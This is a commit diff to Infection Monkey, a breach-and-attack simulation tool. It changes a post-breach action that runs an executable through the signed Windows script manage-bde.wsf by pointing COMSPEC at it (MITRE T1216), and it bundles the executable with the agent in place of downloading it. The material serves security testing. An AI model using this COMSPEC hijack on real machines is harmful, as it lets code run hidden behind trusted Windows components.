Agent: Package T1216_random_executable.exe with the agent

Packaging the T1216_random_executable.exe binary with the agent removes
coupling between the island's API and a specific post-breach action.

CHANGELOG.md

@@ -65,6 +65,8 @@ Changelog](https://keepachangelog.com/en/1.0.0/).
 - Windows "run as a user" powershell command for manual agent runs. #1570
 - A bug in the "Signed Script Proxy Execution" PBA that downloaded the exe on Linux
   systems as well. #1557
+- A bug where T1216_random_executable.exe was copied to disk even if the signed
+  script proxy execution PBA was disabled. #1864
 
 
 ### Security

monkey/infection_monkey/control.py

@@ -3,13 +3,11 @@ import logging
 import platform
 from pprint import pformat
 from socket import gethostname
-from urllib.parse import urljoin
 
 import requests
 from requests.exceptions import ConnectionError
 
 import infection_monkey.tunnel as tunnel
-from common.common_consts.api_url_consts import T1216_PBA_FILE_DOWNLOAD_PATH
 from common.common_consts.timeouts import LONG_REQUEST_TIMEOUT, MEDIUM_REQUEST_TIMEOUT
 from infection_monkey.config import GUID, WormConfiguration
 from infection_monkey.network.info import get_host_subnets, local_ips
@@ -265,19 +263,3 @@ class ControlClient(object):
             )
         except requests.exceptions.RequestException:
             return False
-
-    @staticmethod
-    def get_T1216_pba_file():
-        try:
-            return requests.get(  # noqa: DUO123
-                urljoin(
-                    f"https://{WormConfiguration.current_server}/",
-                    T1216_PBA_FILE_DOWNLOAD_PATH,
-                ),
-                verify=False,
-                proxies=ControlClient.proxies,
-                stream=True,
-                timeout=MEDIUM_REQUEST_TIMEOUT,
-            )
-        except requests.exceptions.RequestException:
-            return False

monkey/infection_monkey/post_breach/actions/use_signed_scripts.py

@@ -7,6 +7,7 @@ from common.common_consts.timeouts import MEDIUM_REQUEST_TIMEOUT, SHORT_REQUEST_
 from infection_monkey.post_breach.pba import PBA
 from infection_monkey.post_breach.signed_script_proxy.signed_script_proxy import (
     cleanup_changes,
+    copy_executable_to_cwd,
     get_commands_to_proxy_execution_using_signed_script,
 )
 from infection_monkey.telemetry.messengers.i_telemetry_messenger import ITelemetryMessenger
@@ -29,6 +30,7 @@ class SignedScriptProxyExecution(PBA):
         original_comspec = ""
         try:
             if is_windows_os():
+                copy_executable_to_cwd()
                 original_comspec = subprocess.check_output(  # noqa: DUO116
                     "if defined COMSPEC echo %COMSPEC%", shell=True, timeout=SHORT_REQUEST_TIMEOUT
                 ).decode()

monkey/infection_monkey/post_breach/signed_script_proxy/signed_script_proxy.py

@@ -1,5 +1,7 @@
 import logging
 import subprocess
+from pathlib import Path
+from shutil import copyfile
 
 from common.common_consts.timeouts import SHORT_REQUEST_TIMEOUT
 from infection_monkey.post_breach.signed_script_proxy.windows.signed_script_proxy import (
@@ -11,12 +13,21 @@ from infection_monkey.utils.environment import is_windows_os
 
 logger = logging.getLogger(__name__)
 
+EXECUTABLE_NAME = "T1216_random_executable.exe"
+EXECUTABLE_SRC_PATH = Path(__file__).parent / EXECUTABLE_NAME
+TEMP_COMSPEC = Path.cwd() / "T1216_random_executable.exe"
+
 
 def get_commands_to_proxy_execution_using_signed_script():
-    windows_cmds = get_windows_commands_to_proxy_execution_using_signed_script()
+    windows_cmds = get_windows_commands_to_proxy_execution_using_signed_script(TEMP_COMSPEC)
     return windows_cmds
 
 
+def copy_executable_to_cwd():
+    logger.debug(f"Copying executable from {EXECUTABLE_SRC_PATH} to {TEMP_COMSPEC}")
+    copyfile(EXECUTABLE_SRC_PATH, TEMP_COMSPEC)
+
+
 def cleanup_changes(original_comspec):
     if is_windows_os():
         try:
@@ -26,7 +37,7 @@ def cleanup_changes(original_comspec):
                 timeout=SHORT_REQUEST_TIMEOUT,
             )
             subprocess.run(  # noqa: DUO116
-                get_windows_commands_to_delete_temp_comspec(),
+                get_windows_commands_to_delete_temp_comspec(TEMP_COMSPEC),
                 shell=True,
                 timeout=SHORT_REQUEST_TIMEOUT,
             )

monkey/infection_monkey/post_breach/signed_script_proxy/windows/signed_script_proxy.py

@@ -1,32 +1,22 @@
 import os
+from pathlib import WindowsPath
 
-from infection_monkey.control import ControlClient
 from infection_monkey.utils.environment import is_windows_os
 
-TEMP_COMSPEC = os.path.join(os.getcwd(), "T1216_random_executable.exe")
 
-
-def get_windows_commands_to_proxy_execution_using_signed_script():
+def get_windows_commands_to_proxy_execution_using_signed_script(temp_comspec: WindowsPath):
     signed_script = ""
 
     if is_windows_os():
-        _download_random_executable()
-        windir_path = os.environ["WINDIR"]
-        signed_script = os.path.join(windir_path, "System32", "manage-bde.wsf")
+        windir_path = WindowsPath(os.environ["WINDIR"])
+        signed_script = str(windir_path / "System32" / "manage-bde.wsf")
 
-    return [f"set comspec={TEMP_COMSPEC} &&", f"cscript {signed_script}"]
-
-
-def _download_random_executable():
-    download = ControlClient.get_T1216_pba_file()
-    with open(TEMP_COMSPEC, "wb") as random_exe_obj:
-        random_exe_obj.write(download.content)
-        random_exe_obj.flush()
+    return [f"set comspec={temp_comspec} &&", f"cscript {signed_script}"]
 
 
 def get_windows_commands_to_reset_comspec(original_comspec):
     return f"set comspec={original_comspec}"
 
 
-def get_windows_commands_to_delete_temp_comspec():
-    return f"del {TEMP_COMSPEC} /f"
+def get_windows_commands_to_delete_temp_comspec(temp_comspec: WindowsPath):
+    return f"del {temp_comspec} /f"